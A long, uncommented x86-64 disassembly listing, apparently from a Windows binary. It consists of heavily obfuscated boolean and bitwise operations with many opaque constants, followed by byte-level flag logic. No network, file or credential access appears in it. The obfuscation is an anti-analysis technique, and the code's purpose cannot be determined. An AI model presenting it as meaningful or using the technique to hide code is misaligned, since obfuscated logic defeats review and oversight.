xor edx, 0x3483985a
xor eax, 0x1ca6e7da
and eax, edx
or ebx, 0xd7da807f
mov ecx, ebx
not ecx
mov edx, eax
not edx
mov edi, edx
and edi, 0xc5b842ed
and eax, 0x3a47bd12
or eax, edi
or edx, ebx
and ebx, 0xc5b842ed
and ecx, 0x28053d00
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xc9827908
and edx, 0x367d86f7
or edx, eax
mov eax, edx
xor eax, 0x3030e600
xor edx, 0xc9cd116b
and eax, 0x7878f620
mov ecx, edx
and ecx, 0x878709df
or ecx, eax
xor ecx, 0xafed1e3c
and edx, 0xd795e81c
or edx, ecx
mov ebx, edx
not ebx
mov dword [rbp + 0x30], r8d
mov eax, r8d
and eax, 0x547c3a93
mov ecx, r11d
and ecx, 0xab83c56c
or ecx, eax
xor ecx, 0xab83c56c
mov eax, r8d
and eax, r11d
mov edi, ecx
and edi, eax
xor eax, ecx
or eax, edi
mov ecx, eax
not ecx
mov edi, eax
and edi, 0x286a17e3
and ecx, 0xb05ff549
and eax, 0x4fa00ab6
or eax, ecx
xor eax, 0x9835e2aa
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x441ea13d
and eax, 0xbbe15ec2
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xe0f0c790
and eax, 0x1f0f386f
or eax, ecx
mov edi, eax
xor edi, 0x41019010
xor eax, 0xa4ee66ad
mov ecx, eax
and ecx, 0x3eba6dcb
and edi, 0xc1459234
or edi, ecx
xor edi, 0xc1459234
or edi, eax
mov r9d, edi
not r9d
mov eax, edx
and eax, 0x8d8c14f2
mov r8d, ebx
and r8d, 0x7273eb0d
or r8d, eax
mov r10d, r8d
xor r10d, 0x10038100
xor r8d, 0x80801042
mov esi, edx
xor esi, 0x6f5c2eb9
and esi, ebx
or r8d, 0x6f5c2eb9
mov eax, esi
not eax
mov r14d, r8d
and r14d, 0x6d64502c
and r10d, 0x90838142
or r10d, r14d
or r8d, eax
and eax, 0x6d64502c
and esi, 0x929bafd3
or esi, eax
xor esi, r10d
not r8d
or r8d, esi
mov eax, r8d
not eax
and eax, 0x6f5c2eb9
and r8d, 0x90a3d146
or r8d, eax
mov eax, edi
and eax, 0x621a5978
mov esi, r9d
and esi, 0x9de5a687
or esi, eax
mov r10d, esi
xor r10d, 0x8802000
xor esi, 0x21a5960
mov eax, edi
xor eax, 0xe544861f
and eax, r9d
or esi, 0xe544861f
mov r14d, eax
not r14d
mov r15d, esi
and r15d, 0x756f05ca
and r10d, 0xa907820
or r10d, r15d
or esi, r14d
and r14d, 0x756f05ca
and eax, 0x8a90fa35
or eax, r14d
xor eax, r10d
not esi
or esi, eax
mov eax, esi
not eax
and eax, 0xda8fe76a
and esi, 0x25701895
or esi, eax
mov r10d, esi
mov r12d, r8d
xor esi, 0xc0349e8a
mov r15d, esi
mov r14d, esi
mov r13d, r8d
xor r13d, esi
and r13d, r8d
and esi, r8d
not r8d
mov eax, r8d
and eax, 0x9bcff3f4
and r12d, 0x64300c0b
or r12d, eax
xor r12d, 0x3bc1adb5
mov eax, r12d
xor eax, r8d
and eax, r12d
xor r10d, 0x3fcb6175
and edx, 0x28ec986d
and ebx, 0xd7136792
or ebx, edx
mov edx, ebx
xor edx, 0x57112192
and edx, 0x5ff1a1be
xor ebx, 0x88e2c62c
or ebx, edx
mov edx, ebx
not edx
and edx, 0x22805bef
and ebx, 0xdd7fa410
or ebx, edx
mov r12d, ebx
xor r12d, 0xdd7fa410
and r8d, r10d
and r10d, 0x22fc86a5
and r15d, 0xdd03795a
or r15d, r10d
xor r15d, 0x82f2d8e4
and r14d, 0xa00e5e41
or r14d, r15d
and r9d, 0x832c1659
mov edx, edi
and edx, 0x7cd3e9a6
or edx, r9d
xor edx, 0xdcddb7e7
and edi, 0x5ff1a1be
or edi, edx
mov edx, eax
not edx
mov r9d, edx
and r9d, 0x4b3acbdb
and eax, 0xb4c53424
or eax, r9d
mov r9d, eax
mov r10d, ebx
xor r10d, 0x22801aca
and r10d, 0x22839eca
xor ebx, 0x411e8b69
and ebx, r12d
and r12d, 0xdd7c6135
or r12d, r10d
xor r12d, 0xdd7c6135
xor eax, 0x8200b59
or eax, 0x639ed086
mov r10d, eax
not r10d
or edx, 0x9c612f79
and eax, 0x80b279d5
and r10d, 0x1c410628
or r10d, eax
mov eax, edx
not eax
and edx, 0x80b279d5
and eax, 0x630c8002
or eax, edx
mov edx, r12d
and edx, 0x9c612f79
xor eax, r10d
mov r10d, edx
and r10d, ebx
xor ebx, edx
mov r15d, r14d
not r15d
or ebx, r10d
mov edx, eax
not edx
and edx, 0xbc0a75fc
and eax, 0x43f58a03
or eax, edx
mov edx, ebx
not edx
and edx, 0xbc0a75fc
and ebx, 0x43f58a03
or ebx, edx
mov r10d, edi
not r10d
xor r9d, 0xb4c53424
xor ebx, eax
mov eax, r9d
and eax, r12d
xor r12d, r9d
or r12d, eax
mov eax, r12d
not eax
and eax, 0x9ae6fb22
and r12d, 0x651904dd
or r12d, eax
mov r9d, ebx
not r9d
mov eax, r9d
and eax, 0xc4a8d9a8
and ebx, 0x3b572657
or ebx, eax
mov eax, r12d
xor eax, 0x21110455
xor r12d, 0x9ae6fb22
or r9d, r12d
and r12d, 0xc4a8d9a8
and eax, 0x3b572657
or eax, r12d
xor eax, ebx
not r9d
or r9d, eax
and r14d, 0xdaec3889
mov eax, r15d
and eax, 0x2513c776
or eax, r14d
mov r12d, eax
xor r12d, 0x2513c776
mov edx, edi
and edx, 0xd1da9a7f
xor edi, 0x88bda0d5
and edi, r10d
and r10d, 0x2e256580
or r10d, edx
mov edx, eax
xor edx, 0xadae67a3
and edx, r12d
and r15d, 0x88bda0d5
mov r14d, edx
and r14d, r15d
xor r15d, edx
mov edx, r10d
xor r10d, 0xd1da9a7f
or r15d, r14d
mov ebx, r10d
or ebx, 0x88bda0d5
mov r14d, ebx
not r14d
mov ecx, ebx
and ecx, 0xb70d1533
and r14d, 0x40424a08
or r14d, ecx
mov ecx, edi
not ecx
or ebx, ecx
and ecx, 0xb70d1533
and edi, 0x48f2eacc
or edi, ecx
xor edi, r14d
xor edx, 0x2a050580
not ebx
or ebx, edi
mov ecx, r15d
not ecx
and ecx, ebx
not ebx
and ebx, r15d
or ebx, ecx
xor eax, 0xdaec3889
mov ecx, eax
and ecx, 0xc53afa6b
and r12d, 0x3ac50594
or r12d, ecx
or eax, r10d
and r10d, 0xc53afa6b
and edx, 0x3ac50594
or edx, r10d
xor edx, r12d
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ebx
not edx
mov edi, edx
and edi, 0xf5d1ebd5
and ebx, 0xa2e142a
or ebx, edi
or edx, eax
and eax, 0xf5d1ebd5
and ecx, 0xa2e142a
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov eax, r9d
not eax
and eax, 0xe5823de
mov ecx, r9d
and ecx, 0xf1a7dc21
or ecx, eax
xor ecx, edx
xor ecx, 0xe5823de
and ecx, edx
xor edx, r9d
and edx, r9d
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
or esi, r8d
mov eax, r13d
and eax, esi
xor esi, r13d
or esi, eax
mov eax, esi
not eax
and eax, 0x55966502
and esi, 0xaa699afd
or esi, eax
mov eax, esi
xor eax, 0x2a6012e1
xor esi, 0x45864100
and esi, 0xc58fc91c
and eax, 0x3a7036e3
or eax, esi
mov ecx, eax
xor ecx, 0xc0078810
xor eax, 0x106034e2
and ecx, 0xea178a11
and eax, 0x15e875ee
or eax, ecx
mov ecx, eax
xor ecx, 0x2a150201
xor eax, 0x4a86088
and eax, 0xc4aae898
and ecx, 0x3b551767
or ecx, eax
mov esi, ecx
xor esi, 0x1a100703
xor ecx, 0xc4aae898
mov ebx, edx
not ebx
mov edi, ebx
or edi, ecx
not edi
and ebx, 0x2547b07c
and edx, 0xdab84f83
or edx, ebx
and ecx, 0x2547b07c
and esi, 0xdab84f83
or esi, ecx
xor esi, edx
mov ecx, edi
and ecx, esi
xor esi, edi
or esi, ecx
mov edi, esi
not edi
mov edx, edi
and edx, 0xa641fd76
mov eax, esi
and eax, 0x59be0289
or eax, edx
mov edx, eax
xor edx, 0x40020000
xor eax, 0x20005402
mov ebx, edi
or ebx, 0x60b6766a
mov ecx, ebx
not ecx
or eax, 0x19410094
and eax, 0x39f5569e
and edx, 0x40022060
or edx, eax
and ebx, 0x39f5569e
and ecx, 0x86088901
or ecx, ebx
xor ecx, edx
mov eax, ecx
not eax
and eax, 0x9f498995
and ecx, 0x60b6766a
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x3b20a9a1
mov edx, eax
and edx, 0xc4df565e
or edx, ecx
xor edx, 0x134abe43
and eax, 0x286a17e2
or eax, edx
and edi, 0x5b432fd2
and esi, 0xa4bcd02d
or esi, edi
mov ecx, esi
xor ecx, 0xa4bcd02d
xor esi, 0x4a422210
and esi, 0x4a4a3239
mov edx, ecx
and edx, 0xb5b5cdc6
or edx, esi
xor edx, 0x9ddfda24
and ecx, 0xd795e81d
or ecx, edx
mov edx, ecx
not edx
and edx, 0xee511a20
and ecx, 0x11aee5df
or ecx, edx
mov edx, ecx
xor edx, 0x11aee5df
and edx, eax
not eax
xor ecx, 0xee511a20
mov esi, eax
xor esi, ecx
and esi, eax
and ecx, eax
or ecx, edx
mov r15d, esi
not r15d
mov eax, ecx
not eax
mov edx, r15d
and edx, 0xd3c887c1
and esi, 0x2c37783e
or esi, edx
or r15d, eax
and eax, 0xd3c887c1
and ecx, 0x2c37783e
or ecx, eax
xor ecx, esi
not r15d
or r15d, ecx
mov ecx, r15d
not ecx
mov eax, r15d
mov ebx, ecx
mov edx, ecx
and edx, 0x2ad9959e
and r15d, 0xd5266a61
or r15d, edx
xor r15d, 0x2ad9959e
or r15d, ecx
and ecx, 0xeb972cf9
and eax, 0x1468d306
or eax, ecx
mov ecx, eax
xor ecx, 0x400000
xor eax, 0x22040001
or ebx, 0xa3f4154f
mov edx, ebx
not edx
or eax, 0x1e000
and eax, 0x2225f107
and ecx, 0x81d00448
or ecx, eax
and ebx, 0x2225f107
and edx, 0x5c0a0ab0
or edx, ebx
xor edx, ecx
mov eax, edx
not eax
and eax, 0x5c0beab0
and edx, 0xa3f4154f
or edx, eax
mov eax, edx
not eax
and edx, 0x4c7c4653
and eax, 0xb383b9ac
or eax, edx
mov ecx, eax
xor ecx, 0x4c7c4653
xor eax, 0xb383b9ac
mov edx, r15d
not edx
and edx, ecx
or ecx, r15d
not ecx
and r15d, eax
or r15d, edx
mov eax, ecx
and eax, r15d
xor r15d, ecx
or r15d, eax
mov ebx, dword [rbp + 0x30]
mov eax, ebx
and eax, 0xe3c07a73
mov ecx, r11d
and ecx, 0x1c3f858c
or ecx, eax
mov edx, ecx
xor edx, 0xc3c0000
xor ecx, 0x62004241
and ecx, 0x7203c7cd
and edx, 0x8dfc3832
or edx, ecx
mov eax, edx
xor eax, 0x8dfc3832
xor edx, 0x700381cc
and edx, 0x790b99de
mov ecx, eax
and ecx, 0x86f46621
or ecx, edx
xor ecx, 0x1ce1369d
and eax, 0x65eaaf43
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x4057cbe8
and eax, 0xbfa83417
or eax, ecx
mov edx, eax
xor edx, 0x95081000
xor eax, 0x4057cbe8
mov ecx, ebx
and ecx, 0x9a1550bc
xor r11d, 0x65eaaf43
or r11d, ecx
mov ecx, r11d
not ecx
mov ebx, eax
or ebx, r11d
not ebx
and eax, 0x2ab4a417
and edx, 0xd54b5be8
or edx, eax
and r11d, 0x2ab4a417
and ecx, 0xd54b5be8
or ecx, r11d
xor ecx, edx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
mov r13d, ecx
xor r13d, 0x65eaaf43
and r13d, ecx
not ecx
and ecx, 0xaa2b41
and eax, 0x65408402
or eax, ecx
xor eax, 0x65408402
mov ecx, eax
and ecx, r13d
xor r13d, eax
or r13d, ecx
mov ebx, r15d
not ebx
mov r10d, ebx
and r10d, r15d
mov eax, ebx
and eax, r10d
xor r10d, ebx
or r10d, eax
mov edi, r13d
not edi
mov eax, edi
and eax, 0x102644e4
mov ecx, r13d
and ecx, 0x4c900800
or ecx, eax
xor ecx, 0x4c900800
mov r11d, r13d
and r11d, 0xa349b31b
or r11d, ecx
mov eax, r11d
not eax
and eax, 0xa349b31b
and r11d, 0x5cb64ce4
or r11d, eax
mov ecx, r10d
mov eax, r10d
not eax
mov dword [rbp + 0x30], eax
and eax, 0xd2da86bb
and ecx, 0x2d257944
or ecx, eax
mov eax, ecx
xor eax, 0x24046140
and eax, 0xe41ee5d3
xor ecx, 0xc93b9c97
or ecx, eax
mov eax, ecx
not eax
and eax, 0x3e7e576f
and ecx, 0xc181a890
or ecx, eax
mov r14d, ecx
xor r14d, 0xc181a890
xor ecx, 0x3e7e576f
and ebx, 0x90d92a7f
and r15d, 0x6f26d580
or r15d, ebx
mov eax, r15d
xor eax, 0xb201000
and eax, 0x1be11a2c
xor r15d, 0x74c7cfac
or r15d, eax
mov eax, r15d
not eax
and eax, 0x89115a55
and r15d, 0x76eea5aa
or r15d, eax
mov ebx, r15d
xor ebx, 0x76eea5aa
mov r12d, r11d
mov r9d, r11d
not r9d
mov eax, r9d
and eax, 0xe41ee5d3
and r12d, 0x1be11a2c
or r12d, eax
and edi, 0x6a71e7ed
and r13d, 0x958e1812
or r13d, edi
mov eax, r13d
xor eax, 0x11801800
and eax, 0x1be11a2c
xor r13d, 0x8e6f023e
or r13d, eax
mov eax, r15d
xor eax, 0x81010a01
and eax, 0xf3858e8b
xor r15d, 0xd86e4a93
and r15d, ebx
and ebx, 0xc7a7174
or ebx, eax
mov r8d, ebx
xor r8d, 0xc7a7174
mov esi, ecx
and esi, 0xae80ef39
mov edx, r14d
and edx, 0x517f10c6
or edx, esi
mov esi, ebx
xor esi, 0x5d0561b2
and esi, r8d
mov edi, esi
not edi
mov eax, edi
and eax, 0x36ed808d
and esi, 0xc9127f72
or esi, eax
mov eax, r15d
not eax
or edi, eax
and eax, 0x36ed808d
and r15d, 0xc9127f72
or r15d, eax
xor r15d, esi
not r12d
or r12d, r9d
not edi
or edi, r15d
mov eax, edx
not eax
and eax, 0xcf1700d2
and edx, 0x30e8ff2d
or edx, eax
mov eax, edi
not eax
and eax, 0xcf1700d2
and edi, 0x30e8ff2d
or edi, eax
mov r15d, r13d
not r15d
xor edi, edx
xor ebx, 0xf3858e8b
mov eax, r14d
and eax, 0x34ee629a
and ecx, 0xcb119d65
or ecx, eax
or r14d, ebx
and ebx, 0x34ee629a
and r8d, 0xcb119d65
or r8d, ebx
xor r8d, ecx
not r14d
or r14d, r8d
mov eax, r14d
not eax
mov r8d, edi
not r8d
mov ecx, r8d
and ecx, 0x5975dd13
and edi, 0xa68a22ec
or edi, ecx
or r8d, r14d
and r14d, 0x5975dd13
and eax, 0xa68a22ec
or eax, r14d
xor eax, edi
not r8d
or r8d, eax
mov eax, r13d
and eax, 0x9834c163
and r15d, 0x67cb3e9c
or r15d, eax
mov ecx, r15d
xor ecx, 0x67cb3e9c
mov edi, r12d
xor edi, 0x2e2ea4cb
and edi, r12d
mov r14d, r12d
and r14d, ecx
xor ecx, r12d
or r12d, 0xd1d15b34
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0xcb13316e
and edi, 0x34ecce91
or edi, eax
mov edx, r12d
not edx
or ebx, r12d
and r12d, 0xcb13316e
and edx, 0x242c8481
or edx, r12d
xor edx, edi
mov r12d, r10d
xor r12d, 0x609f8852
and r12d, r10d
xor r15d, 0x90104120
or r15d, 0x2e2ea4cb
not ebx
or ebx, edx
mov esi, r15d
not esi
or r13d, 0xd1d15b34
and r15d, 0xed31b33b
and esi, 0x10c04804
or esi, r15d
mov edx, r13d
not edx
and r13d, 0xed31b33b
and edx, 0x20e04c0
or edx, r13d
mov eax, r11d
xor eax, 0x609f8852
and eax, r11d
xor edx, esi
mov esi, ebx
not esi
and esi, 0x340ab5d7
and ebx, 0xcbf54a28
or ebx, esi
mov esi, edx
not esi
and esi, 0x340ab5d7
and edx, 0xcbf54a28
or edx, esi
mov r15d, dword [0x1400a6664]
xor edx, ebx
or ecx, r14d
mov esi, ecx
not esi
and esi, 0xecdbfea9
and ecx, 0x13240156
or ecx, esi
mov r14d, edx
not r14d
mov esi, r14d
and esi, 0x51e8c5f1
and edx, 0xae173a0e
or edx, esi
mov esi, ecx
xor esi, 0x2040006
xor ecx, 0xecdbfea9
or r14d, ecx
and ecx, 0x51e8c5f1
and esi, 0xae173a0e
or esi, ecx
xor esi, edx
not r14d
or r14d, esi
mov edi, r8d
not edi
or r8d, 0xc8f7b62d
mov edx, r14d
not edx
and edx, 0x3abcbf6e
mov esi, r14d
and esi, 0xc5434091
or esi, edx
mov edx, esi
xor edx, 0xc5434091
xor esi, 0xdb4f6bc
and esi, edx
mov edx, r8d
not edx
or edi, 0x370849d2
and r8d, 0x3aadb348
and edx, 0x5004892
or edx, r8d
mov ecx, edi
not ecx
and r14d, 0xc8f7b62d
and edi, 0x3aadb348
and ecx, 0xc0520425
or ecx, edi
xor ecx, edx
mov edx, esi
and edx, r14d
xor r14d, esi
or r14d, edx
mov edx, ecx
not edx
and edx, 0xfd9216b7
and ecx, 0x26de948
or ecx, edx
mov edx, r14d
not edx
and edx, 0xfd9216b7
and r14d, 0x26de948
or r14d, edx
xor r14d, ecx
mov ecx, dword [rbp + 0x30]
and ecx, 0xd1aa08c
and r10d, 0xf2e55f73
or r10d, ecx
mov r8d, r10d
xor r8d, 0xf2e55f73
and r9d, 0x9c238a9c
and r11d, 0x63dc7563
or r11d, r9d
mov esi, r11d
xor esi, 0x63dc7563
mov ecx, r10d
xor ecx, 0x6d8528de
and ecx, r8d
mov edi, r11d
xor edi, 0xfcbc02ce
and edi, esi
mov edx, ecx
and edx, r12d
xor r12d, ecx
or r12d, edx
mov ecx, edi
not ecx
mov edx, eax
not edx
mov r9d, ecx
and r9d, 0x5fd95bbc
and edi, 0xa026a443
or edi, r9d
or ecx, edx
and edx, 0x5fd95bbc
and eax, 0xa026a443
or eax, edx
xor eax, edi
not ecx
or ecx, eax
mov eax, r12d
not eax
and eax, 0xef08c9ae
and r12d, 0x10f73651
or r12d, eax
mov eax, ecx
not eax
and eax, 0xef08c9ae
and ecx, 0x10f73651
or ecx, eax
xor ecx, r12d
xor r10d, 0xd1aa08c
xor r11d, 0x9c238a9c
mov eax, r10d
and eax, 0xf8908acf
and r8d, 0x76f7530
or r8d, eax
or r10d, r11d
and r11d, 0xf8908acf
and esi, 0x76f7530
or esi, r11d
xor esi, r8d
not r10d
or r10d, esi
mov eax, r10d
not eax
and eax, 0x81ddd827
and r10d, 0x7e2227d8
or r10d, eax
mov edx, r10d
xor edx, 0x402027d8
mov eax, ecx
not eax
xor r10d, 0x81ddd827
mov edi, eax
and edi, 0x3fde9003
and ecx, 0xc0216ffc
or ecx, edi
or eax, r10d
and r10d, 0x3fde9003
and edx, 0xc0216ffc
or edx, r10d
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov edi, edx
not edi
mov esi, eax
and esi, 0xaaa6cadc
and ecx, 0x55593523
or ecx, esi
or eax, edi
and edi, 0xaaa6cadc
and edx, 0x55593523
or edx, edi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0x54b206dc
and ecx, 0xab4df923
or ecx, eax
mov edx, ecx
xor edx, 0x4820694
xor ecx, 0x81058821
and ecx, 0xd1358869
and edx, 0x2eca7796
or edx, ecx
mov ecx, edx
xor ecx, 0x4401010
xor edx, 0xd1358869
mov eax, r14d
xor eax, edx
and eax, r14d
mov ebx, r14d
not ebx
and ebx, 0x2a8ae786
and r14d, 0xd5751879
or r14d, ebx
and edx, 0x2a8ae786
and ecx, 0xd5751879
or ecx, edx
xor ecx, r14d
mov edx, eax
not edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x11a3d440
and eax, 0xee5c2bbf
or eax, edi
or edx, ebx
and ebx, 0x11a3d440
and ecx, 0xee5c2bbf
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x977dcf87
or ecx, edx
and edx, 0x68823078
or edx, eax
mov eax, edx
xor eax, 0x48003028
xor edx, 0x71c0080
and edx, 0x279e00d0
and eax, 0xd861ff2f
or eax, edx
mov edx, eax
xor edx, 0x279e0080
xor eax, 0x80004321
and edx, 0x7fffbc8e
and eax, 0x80004371
or eax, edx
mov edx, eax
xor edx, 0x80004371
xor eax, 0x7fffbc8e
mov ebx, ecx
not ebx
and ebx, eax
or eax, ecx
mov edi, eax
not edi
and ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, eax
and ebx, 0x364bc676
and edi, 0xc9b43989
or edi, ebx
or eax, edx
and edx, 0x364bc676
and ecx, 0xc9b43989
or ecx, edx
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x888f6fd1
and eax, 0x7770902e
or eax, ecx
mov ecx, eax
xor ecx, 0x1601020
xor eax, 0x888d6390
and eax, 0xfe9de39e
and ecx, 0x1621c61
or ecx, eax
mov ebx, ecx
xor ebx, 0xfe9de39e
mov edi, ecx
xor edi, 0x1621c61
xor ecx, 0xd0d73e63
and ecx, edi
mov eax, ebx
and eax, 0xd1b52202
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x2e4addfd
and eax, 0xd1b52202
or eax, ecx
and ebx, 0x4c0e61c3
mov edx, edi
and edx, 0xb3f19e3c
or edx, ebx
xor edx, 0xb3f19e3c
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xd0d6b805
and edx, 0x2f2947fa
or edx, ecx
mov ebx, edx
xor ebx, 0x2a204252
mov ecx, eax
not ecx
xor edx, 0xd0d6b805
mov edi, ecx
and edi, 0x55dd25a8
and eax, 0xaa22da57
or eax, edi
or ecx, edx
and edx, 0x55dd25a8
and ebx, 0xaa22da57
or ebx, edx
xor ebx, eax
not ecx
or ecx, ebx
mov ebx, ecx
not ebx
or ecx, 0x7e2aef49
mov edx, ecx
not edx
or ebx, 0x81d510b6
mov eax, ebx
not eax
and ecx, 0xb6dd8b51
and edx, 0x10010a6
or edx, ecx
and ebx, 0xb6dd8b51
and eax, 0x48226408
or eax, ebx
xor eax, edx
mov ecx, eax
not ecx
and ecx, 0x7e2aef49
and eax, 0x81d510b6
or eax, ecx
sete r10b
setne dl
cmp r15d, 9
setg r8b
cmp r15d, 0xa
setl r11b
mov eax, r11d
xor al, r8b
and al, r11b
mov edi, edx
xor dil, r10b
and dl, dil
mov ecx, eax
xor cl, 1
or cl, al
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, edx
xor al, 1
or al, dl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, ecx
xor bl, 1
xor al, 1
mov r9d, eax
xor r9b, dl
or al, dl
xor al, 1
or al, r9b
and bl, al
xor al, 1
and al, cl
or al, bl
mov ecx, eax
xor cl, r8b
xor cl, 1
mov edx, eax
and dl, r11b
xor al, r11b
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov esi, ecx
and sil, al
xor cl, sil
xor sil, 1
or sil, al
xor sil, 1
or sil, cl
mov r9d, esi
xor r9b, 1
mov eax, r10d
or al, dil
xor al, 1
xor dil, r10b
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
mov ecx, edi
xor cl, 1
mov eax, r8d
and al, cl
mov edx, edi
and dl, r11b
or dl, al
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dil
xor cl, 1
mov edx, edi
xor dl, cl
or cl, dil
xor cl, 1
or cl, dl
xor cl, r8b
or cl, r11b
mov edx, ecx
not dl
mov eax, ebx
xor al, cl
and al, bl
and cl, bl
xor bl, 1
and bl, dl
or cl, bl
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov r8d, r9d
or r8b, sil
mov ebx, r8d
xor bl, 1
and r8b, r9b
mov edi, r9d
and dil, sil
mov eax, r9d
xor al, dil
and dil, r9b
or dil, al
mov r10d, edi
and dil, sil
and sil, bl
or sil, r8b
mov eax, r9d
xor al, bl
or bl, r9b
xor bl, 1
or bl, al
mov eax, ebx
xor al, sil
xor sil, 1
xor al, 1
or sil, bl
xor sil, 1
or sil, al
mov eax, ecx
xor al, 1
mov ebx, ecx
and bl, al
mov r8d, ebx
xor r8b, 1
xor bl, al
or r8b, cl
xor r8b, 1
or r8b, bl
mov r11d, esi
xor r11b, 1
xor r10b, 1
and r9b, r10b
or dil, r9b
xor dil, 1
or dil, r10b
mov edx, r8d
xor dl, 1
mov ebx, edx
or bl, r8b
mov r14d, ebx
xor r14b, dl
mov r10d, edx
mov byte [rbp + 0x2c], dl
and r14b, bl
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov byte [rbp + 0x30], dl
mov r9d, r11d
mov edx, r11d
and dl, sil
mov eax, r11d
and al, dl
xor dl, r11b
mov ecx, r11d
and cl, dil
xor r9b, dil
or r9b, cl
or dl, al
mov eax, r8d
and al, r10b
mov ecx, eax
xor cl, 1
mov r13d, r8d
xor al, r8b
mov byte [rbp + 0x28], al
mov byte [rbp + 0x3d], cl
xor r8b, cl
or r13b, cl
xor r13b, 1
or r13b, r8b
mov r12d, edx
mov ebx, r13d
xor bl, 1
mov byte [rbp + 0x3b], bl
and bl, r13b
xor bl, 1
mov eax, r13d
xor al, bl
mov byte [rbp + 0x3c], al
or bl, r13b
or r13b, dl
xor dl, 1
mov byte [rbp + 0x38], dl
or r12b, dl
mov r8d, r12d
xor r8b, 1
mov r15d, r8d
and r15b, r12b
mov r10d, r15d
and r10b, r8b
xor r15b, r8b
or r15b, r10b
mov byte [rbp + 0x39], r15b
and r15b, r11b
mov eax, r12d
and al, r11b
mov byte [rbp + 0x3a], al
xor r12b, r11b
mov edx, edi
xor dl, 1
xor r11b, dl
xor r11b, 1
and r11b, dl
mov byte [rbp + 0x37], sil
xor dil, sil
xor dil, 1
and dil, sil
xor r11b, 1
xor dil, 1
mov edx, r11d
xor dl, dil
or dil, r11b
xor dil, 1
or dil, dl
mov edx, r9d
xor dl, 1
mov r11d, edi
xor r11b, 1
and dil, r9b
or r9b, r11b
and r11b, dl
or r11b, dil
xor r11b, 1
mov edx, r9d
xor dl, r11b
or r11b, r9b
xor r11b, 1
or r11b, dl
mov cl, byte [rbp + 0x30]
mov edi, ecx
xor dil, 1
mov edx, edi
and dl, cl
mov eax, edi
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov esi, r14d
xor sil, 1
mov r9d, r14d
xor r9b, sil
and r9b, r14b
mov r14d, edx
xor r14b, 1
mov ecx, edx
or cl, r14b
mov r8d, ecx
xor r8b, 1
mov eax, ecx
and al, r8b
xor al, 1
mov r10d, r8d
xor r10b, al
or al, r8b
xor al, 1
or al, r10b
mov r8d, eax
and al, byte [rbp + 0x30]
xor r8b, 1
and r8b, dil
or al, r8b
mov r8d, ecx
and r8b, dil
xor cl, dil
or cl, r8b
xor al, 1
mov r8d, eax
xor r8b, cl
or al, cl
xor al, 1
or al, r8b
xor al, 1
mov r8d, eax
or r8b, r9b
xor al, r9b
xor al, 1
and al, r9b
mov ecx, r8d
xor cl, al
xor al, 1
or al, r8b
xor cl, 1
xor al, 1
or al, cl
mov r8d, edx
and r8b, r14b
mov ecx, r8d
xor cl, 1
or cl, r14b
xor r8b, dl
xor cl, 1
or cl, r8b
xor cl, sil
mov r8d, esi
xor r8b, dl
or dl, sil
xor dl, 1
or dl, r8b
mov r8d, edx
xor r8b, cl
xor cl, 1
or cl, dl
xor r8b, 1
xor cl, 1
or cl, r8b
mov r8d, eax
xor r8b, 1
mov edx, r8d
and dl, al
mov r9d, r8d
xor r9b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r9b
mov eax, edx
xor al, 1
and al, cl
mov r9d, r8d
and r9b, cl
xor r8b, cl
xor cl, 1
and dl, cl
or dl, al
or r8b, r9b
xor dl, 1
mov eax, edx
xor al, r8b
or dl, r8b
xor dl, 1
or dl, al
mov r9d, r11d
xor r9b, 1
mov r10d, r11d
or r10b, r9b
xor r10b, 1
mov r8d, r10d
xor r8b, r11b
mov ecx, r11d
and cl, r9b
xor r11b, cl
xor cl, 1
or cl, r9b
xor cl, 1
or cl, r11b
xor cl, r10b
or r10b, r9b
xor r8b, 1
xor r10b, 1
or r10b, r8b
mov r8d, ecx
xor r8b, r10b
or r10b, cl
xor r10b, 1
or r10b, r8b
mov r8d, edx
xor r8b, 1
mov r9d, r8d
or r9b, dl
mov ecx, r9d
xor cl, 1
mov eax, r9d
and al, cl
mov r11d, r9d
and r11b, al
xor al, r9b
or al, r11b
xor r9b, dl
xor al, r8b
or cl, r8b
xor cl, 1
or cl, r9b
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
or al, r10b
xor r10b, 1
xor al, 1
or r10b, cl
xor r10b, 1
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov al, byte [rbp + 0x39]
xor al, 1
and al, byte [rbp + 0x37]
or r15b, al
or r12b, byte [rbp + 0x3a]
xor r12b, 1
mov eax, r15d
and al, r12b
xor r12b, r15b
or r12b, al
